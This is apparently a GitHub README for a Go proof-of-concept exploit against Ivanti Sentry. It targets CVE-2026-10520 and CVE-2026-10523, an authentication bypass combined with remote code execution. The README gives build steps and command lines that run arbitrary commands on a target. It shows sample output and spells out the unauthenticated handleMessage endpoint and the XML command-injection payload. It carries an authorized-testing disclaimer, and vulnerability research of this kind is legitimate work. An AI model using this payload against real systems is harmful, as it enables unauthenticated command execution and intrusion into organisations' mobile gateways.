gagaltotal/cve-2026-10523-ivanti-sentryProof-of-concept detection tool for Ivanti Sentry authentication bypass and remote code execution vulnerabilities (CVE-2026-10520, CVE-2026-10523). Sends crafted API requests to execute system commands and validate vulnerable deployments.
A comprehensive proof-of-concept detection tool for testing Ivanti Sentry vulnerabilities related to authentication bypass and remote code execution. This tool identifies systems vulnerable to CVE-2026-10520 and CVE-2026-10523.
This project is designed to detect and validate whether an Ivanti Sentry instance is vulnerable to critical authentication bypass and remote code execution flaws. The tool sends specially crafted messages through the Ivanti Sentry API endpoint to execute system commands and extract the results, allowing security researchers and penetration testers to identify vulnerable deployments.
Authentication bypass vulnerability in Ivanti Sentry that allows unauthenticated access to restricted API endpoints.
Remote code execution vulnerability in Ivanti Sentry that permits execution of arbitrary system commands through the messaging API when combined with the authentication bypass.
Clone the repository and navigate to the project directory:
git clone https://github.com/gagaltotal/CVE-2026-10523-Ivanti-sentry
cd CVE-2026-10523-Ivanti-sentry
Get init and package library
go mod init CVE-2026-10523-Ivanti-sentry
go mod tidy
Build the executable:
go build -o tot_poc tot_poc.go
The tool requires two mandatory parameters: target URL and command to execute.
Run a simple command on the target:
./tot_poc -url https://target.example.com:8443 -cmd "uname -a"
-url (required): Target base URL including protocol (e.g., https://127.0.0.1:8443)-cmd (required): Command to execute for vulnerability detection (e.g., "uname -a", "id", "whoami")-p or -proxy (optional): Proxy address and port for routing traffic (e.g., 127.0.0.1:8080)
Detect vulnerability with simple system information command:
./tot_poc -url https://192.168.1.100:8443 -cmd "uname -a"
Run with proxy configuration:
./tot_poc -url https://target.example.com:8443 -cmd "whoami" -proxy 127.0.0.1:8080
Execute command to extract system information:
./tot_poc -url https://sentry-instance.internal:8443 -cmd "cat /etc/os-release"
The tool will display:
Target: https://192.168.1.100:8443
Command: uname -a
[+] Sending command execution check to: https://192.168.1.100:8443/mics/api/v2/sentry/mics-config/handleMessage
[+] Target appears to be vulnerable.
Command output:
Linux sentry-server 5.10.0-8-generic x86_64 GNU/Linux
Target: https://192.168.1.100:8443
Command: uname -a
[+] Sending command execution check to: https://192.168.1.100:8443/mics/api/v2/sentry/mics-config/handleMessage
[-] Target does not appear to be vulnerable.
The tool exploits the /mics/api/v2/sentry/mics-config/handleMessage endpoint which is accessible without authentication. The payload is constructed as:
message=execute+system+/configuration/system/commandexec+<commandexec><index>1</index><reqandres>[COMMAND]</reqandres></commandexec>
The response contains the command output in XML format within a success tag.
This tool is provided for authorized security testing and research purposes only. Users are solely responsible for ensuring they have proper authorization before testing any systems. Unauthorized access to computer systems is illegal. The authors assume no liability for misuse or damage caused by this tool.
GhostGTR666 - Gagaltotal666
This project is provided as-is for security research and educational purposes.